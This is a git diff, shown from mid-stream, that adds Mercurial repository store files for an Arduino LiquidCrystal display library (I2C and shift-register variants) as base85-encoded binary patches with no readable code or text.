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 W?cYQCg8rG(T2ij3-~I*BzB;yMa`RLG literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_i2_c.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_i2_c.h.i new file mode 100644 index 0000000000000000000000000000000000000000..b98ebdae5edd5ce0ebf34df961f08badd4ceb72f GIT binary patch literal 2290 zcmVv#6kM+2HDsYKEEGGxsl`~7tKeHdCP zyo_P|2%oIbk#doN3z6l*dKC*W8g{q)+lT#~ogU9O`J+{LsmI}+9oT}eI+hk9Qlq94 zA~Ts7?I2T;)K0<=z3n5CD}M&wTQx4cGJ0#23M&Vhx|c8c&TGC z&T!-x>B@;86O~E$to~l8cxWG;7uoIk?y#5E+v5pjgq%o?iwhVFry>N7WDrmm!mnd1 z>?8P8cmh{CG8iA>nl>hFO5;Nb0~;3#H#|D|3n0L_8Kv)V4}iud=rCeqt7HN-KB|GFMoCcIfJu16bKurEg@>f21xOE7 z;^G*$O1I{wh~!vG4OY&Ky~pT6qg@fDxbjStn3F0`21S{`z-W1lj1UOcL}Dby97PoU z1P!9`d3ZwR2QWhs|)?O+gFg}%5_QKU?!P=Vl)yd0R<@ja>atx6E>IxA;Wqr~FVoR65FvSi+x__Wm)Ku9yC~HF{-noQ9gQH)W=!Z(3s*6g1H31a~d2 z1xHA4V5TvW_u_jPc>|uYJz5yN+xO4GAc=~wvbLA z$m+qs1$Ec6THW;wHm>pX(w|x7zeS~MR60_LCF^C{o{Rkrcs@{1b@Tap*81$eIX_mU z$MdTOzc2i(n^$E(zNXe|YJJz#YHN%4YHhLb0=8MxMC63kI`aGT@;fh;e?Kq3`%?LX zdHEmKkbjn1epime>Lic%n%VJw>+}28=L7g35!81v{u^m-j^C<=V1eAo!!@^r9*>(S z=S-ydcH-=&x03EkI-=wdaHpo&(>bE4jmTtOux7T|3teT|tFbb*sGv(9ti&!?cB!qs z_&WN+jDvk1nvq+DuH#-dG}n)zqh)m^eJ9pT+MN>$U`%756u!3@lX!M4?{!P@KE;pJ&|Iw5F*kJ1s7nZhA^E@Kj z1=>67nn`Zg36&dV<$~$$G)0I5ZP9F9Ovadz$n!W{OtcFI(j#zi;Ka}C-n>wmand3o-VP(v1Cf^S2neAC0Vhg z6`O6&F5-V@@VmVcjd|pXlwJ?hn(qWDAyu1v>q?t^}%dJu) zaxqqPDf5h@wvSq~O_FqBr`Oxv-=7=Sb4UgR{g2gitOwAX=1Vvi>I1w8RIHd$x@B}9 zO{)FB3eI%|h=ZRRo`xIYhW5u?5NMvSPMZx9NtraQ1R!a;Q0&1+Cl~auN{=?g6m_t1 zcK*}Zzdm2yY_5X)Db^LRSg)p7KVNpEv#hQ%|F2bno9n`5hy2zi(B4pjH(nA2)sn96 zamqb5z0QJ})patL1D2uconf9CGJ?3Us;gYq7c{#L|6!NIG!UX>)fL~1T7=)# z+N@12HxxL0xY&cS@@pJsN(r8hu|o4QDIC@}b*ELLFjp{kS_guvOfr@k-FGae$dZ%D z(}Ts5lZXu>jSQMe^`KA=J2~lR^d_l!0Ti$d6muCqdmXy zOtK37t0Hst%?(H<28M`OVspholI4)pcAywl7zJLbPB`*GMg^U_Y6MtYdCEj#@=Xavv5C-q^@m{UEE0BdD$R&V$4+!1q0 zleL59G+fWt)^OdwSrm8ci({+gu<^n;%8=9-R8ipH(yQQK_kKHWt7=l0W8mM%oz7bf MMU`~^113051?N0-<^TWy literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..efc7ee982bf6350c3826cca22d22007b4621d8bb GIT binary patch literal 12861 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 TS{Pf$Yg7fIv;eHP33>h>9x)~r literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r.h.i new file mode 100644 index 0000000000000000000000000000000000000000..d16b4d6a436a2022f86bf399396db170141a1322 GIT binary patch literal 7384 zcmcIpbySpXuwP>7TsoyoBqb#mkdCDhr5glE5ouVYyOtCQ1%wX-lJ?EbL$Nl5ZIq%H8&-u->^UO2vJh1>Y02<(ya3cT!s{DU-0N%|V(LcT+no)?@ zV|qG}%L90y6Kh*UP@HgiiNKvbsYM4x8t7EUX^~iRM6>~Ph%WEw5cY_P84N%1Q}yu{<+$g@R`{71NG^I)f-#AY2U1` zh56vmHE=Rep8Hvq#z498As=2OZR>D!roD1?87C8pxv)>7kw-8AD=EtJbVeHtMsTg6 